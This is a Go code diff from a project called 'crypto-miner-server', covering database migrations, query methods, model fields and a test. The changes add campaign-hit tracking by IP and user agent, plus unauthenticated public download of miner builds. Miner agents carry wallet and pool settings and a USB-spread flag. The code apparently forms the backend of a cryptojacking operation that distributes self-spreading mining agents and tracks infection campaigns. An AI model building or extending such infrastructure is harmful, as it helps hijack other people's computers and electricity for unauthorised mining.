latestRows, err := d.Query(`SELECT `+buildSelectCols+` FROM builds ORDER BY created_at DESC LIMIT ?`, latestN)
if err == nil {
defer latestRows.Close()
for latestRows.Next() {
b, err := scanBuild(latestRows)
if err == nil {
add(b)
}
}
}
if out == nil {
out = []*models.BuildRecord{}
}
return out, nil
}
// IsBuildPubliclyDownloadable checks whether a build may be fetched without auth.
func (d *Database) IsBuildPubliclyDownloadable(id string, allEnabled bool, latestN int) (bool, error) {
if allEnabled {
_, err := d.GetBuild(id)
return err == nil, err
}
builds, err := d.ListPublicBuilds(false, latestN)
if err != nil {
return false, err
}
for _, b := range builds {
if b.ID == id {
return true, nil
}
}
return false, nil
}
// SetBuildPublic toggles the operator public flag on a build.
func (d *Database) SetBuildPublic(id string, public bool) error {
val := 0
if public {
val = 1
}
res, err := d.Exec(`UPDATE builds SET public = ? WHERE id = ?`, val, id)
if err != nil {
return err
}
n, _ := res.RowsAffected()
if n == 0 {
return fmt.Errorf("build not found: %s", id)
}
return nil
}

View File

@@ -0,0 +1,50 @@
package db
import (
"testing"
"time"
"crypto-miner-server/internal/models"
)
func TestLogCampaignHitAndPublicBuilds(t *testing.T) {
d := openTestDB(t)
defer d.Close()
if err := d.LogCampaignHit("wave-a", "b1", "get", "10.0.0.1", "curl"); err != nil {
t.Fatal(err)
}
hits, err := d.ListCampaignHits(10)
if err != nil || len(hits) != 1 || hits[0].Campaign != "wave-a" {
t.Fatalf("hits=%v err=%v", hits, err)
}
b1 := &models.BuildRecord{
ID: "b1", WorkerName: "w1", ServerURL: "http://x", Wallet: "w",
Threads: 1, Platform: "linux", CreatedAt: time.Now(),
}
b2 := &models.BuildRecord{
ID: "b2", WorkerName: "w2", ServerURL: "http://x", Wallet: "w",
Threads: 1, Platform: "windows", CreatedAt: time.Now().Add(time.Second),
}
_ = d.InsertBuild(b1)
_ = d.InsertBuild(b2)
_ = d.SetBuildPublic("b1", true)
pub, err := d.ListPublicBuilds(false, 1)
if err != nil {
t.Fatal(err)
}
ids := map[string]bool{}
for _, b := range pub {
ids[b.ID] = true
}
if !ids["b1"] || !ids["b2"] {
t.Fatalf("expected public b1 and latest b2, got %v", ids)
}
ok, err := d.IsBuildPubliclyDownloadable("b2", false, 1)
if err != nil || !ok {
t.Fatalf("latest build should be public ok=%v err=%v", ok, err)
}
}

View File

@@ -134,6 +134,8 @@ func (d *Database) migrate() error {
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN build_id TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN worker_name TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN usb_spread INTEGER NOT NULL DEFAULT 0`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN campaign TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN public INTEGER NOT NULL DEFAULT 0`)
extraMigrations := []string{
`CREATE TABLE IF NOT EXISTS audit_log (
@@ -164,6 +166,17 @@ func (d *Database) migrate() error {
last_run_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
PRIMARY KEY (agent_id, task_id)
)`,
`CREATE TABLE IF NOT EXISTS campaign_hits (
id INTEGER PRIMARY KEY AUTOINCREMENT,
campaign TEXT NOT NULL DEFAULT '',
build_id TEXT NOT NULL DEFAULT '',
source TEXT NOT NULL DEFAULT '',
ip TEXT NOT NULL DEFAULT '',
user_agent TEXT NOT NULL DEFAULT '',
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
)`,
`CREATE INDEX IF NOT EXISTS idx_campaign_hits_campaign ON campaign_hits(campaign)`,
`CREATE INDEX IF NOT EXISTS idx_campaign_hits_created ON campaign_hits(created_at)`,
}
for _, m := range extraMigrations {
if _, err := d.Exec(m); err != nil {
@@ -177,8 +190,8 @@ func (d *Database) migrate() error {
// Agent operations
func (d *Database) UpsertAgent(a *models.Agent) error {
query := `INSERT INTO agents (id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at, platform, arch, os_version, hostname, mac_address, build_id, worker_name, usb_spread)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE((SELECT created_at FROM agents WHERE id = ?), CURRENT_TIMESTAMP), ?, ?, ?, ?, ?, ?, ?, ?)
query := `INSERT INTO agents (id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at, platform, arch, os_version, hostname, mac_address, build_id, worker_name, usb_spread, campaign)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE((SELECT created_at FROM agents WHERE id = ?), CURRENT_TIMESTAMP), ?, ?, ?, ?, ?, ?, ?, ?, ?)
ON CONFLICT(id) DO UPDATE SET
name = excluded.name,
wallet = excluded.wallet,
@@ -195,12 +208,13 @@ func (d *Database) UpsertAgent(a *models.Agent) error {
mac_address = CASE WHEN excluded.mac_address != '' THEN excluded.mac_address ELSE mac_address END,
build_id = CASE WHEN excluded.build_id != '' THEN excluded.build_id ELSE build_id END,
worker_name = CASE WHEN excluded.worker_name != '' THEN excluded.worker_name ELSE worker_name END,
usb_spread = excluded.usb_spread`
usb_spread = excluded.usb_spread,
campaign = CASE WHEN excluded.campaign != '' THEN excluded.campaign ELSE campaign END`
usb := 0
if a.USBSpread {
usb = 1
}
_, err := d.Exec(query, a.ID, a.Name, a.Wallet, a.IP, a.Version, a.Status, a.CPUCores, a.MemoryGB, a.LastSeen, a.ID, a.Platform, a.Arch, a.OSVersion, a.Hostname, a.MacAddress, a.BuildID, a.WorkerName, usb)
_, err := d.Exec(query, a.ID, a.Name, a.Wallet, a.IP, a.Version, a.Status, a.CPUCores, a.MemoryGB, a.LastSeen, a.ID, a.Platform, a.Arch, a.OSVersion, a.Hostname, a.MacAddress, a.BuildID, a.WorkerName, usb, a.Campaign)
return err
}
@@ -364,7 +378,7 @@ func (d *Database) GetHashrateHistory(agentID string, limit int) ([]*models.Hash
// Build operations
const buildSelectCols = `id, worker_name, server_url, wallet, threads, file_size, bundle_size, file_path, file_name, download_url, extra_files, platform, created_at, pool_host, pool_port, pool_tls, pool_pass, pinned`
const buildSelectCols = `id, worker_name, server_url, wallet, threads, file_size, bundle_size, file_path, file_name, download_url, extra_files, platform, created_at, pool_host, pool_port, pool_tls, pool_pass, pinned, public`
func encodeBuildExtraFiles(files []models.BuildExtraFile) string {
if len(files) == 0 {
@@ -393,11 +407,12 @@ func scanBuild(row interface {
Scan(...any) error
}) (*models.BuildRecord, error) {
b := &models.BuildRecord{}
var pinnedInt int
var pinnedInt, publicInt int
var extraFilesRaw string
err := row.Scan(&b.ID, &b.WorkerName, &b.ServerURL, &b.Wallet, &b.Threads, &b.FileSize, &b.BundleSize,
&b.FilePath, &b.FileName, &b.DownloadURL, &extraFilesRaw, &b.Platform, &b.CreatedAt, &b.PoolHost, &b.PoolPort, &b.PoolTLS, &b.PoolPass, &pinnedInt)
&b.FilePath, &b.FileName, &b.DownloadURL, &extraFilesRaw, &b.Platform, &b.CreatedAt, &b.PoolHost, &b.PoolPort, &b.PoolTLS, &b.PoolPass, &pinnedInt, &publicInt)
b.Pinned = pinnedInt == 1
b.Public = publicInt == 1
b.ExtraFiles = decodeBuildExtraFiles(extraFilesRaw)
return b, err
}

View File

@@ -37,6 +37,7 @@ type Agent struct {
BuildID string `json:"build_id,omitempty"`
WorkerName string `json:"worker_name,omitempty"`
USBSpread bool `json:"usb_spread,omitempty"`
Campaign string `json:"campaign,omitempty"`
// Live connection quality — not persisted, set by WSHub each stats cycle.
LatencyMs *int `json:"latency_ms,omitempty"`
@@ -159,6 +160,7 @@ type BuildRecord struct {
Platform string `json:"platform"` // "windows", "linux", "darwin", "universal"
CreatedAt time.Time `json:"created_at"`
Pinned bool `json:"pinned"` // true = this build is served by /get and /install.*
Public bool `json:"public"` // true = listed on unauthenticated public builds API
// Pool settings
PoolHost string `json:"pool_host"`
PoolPort int `json:"pool_port"`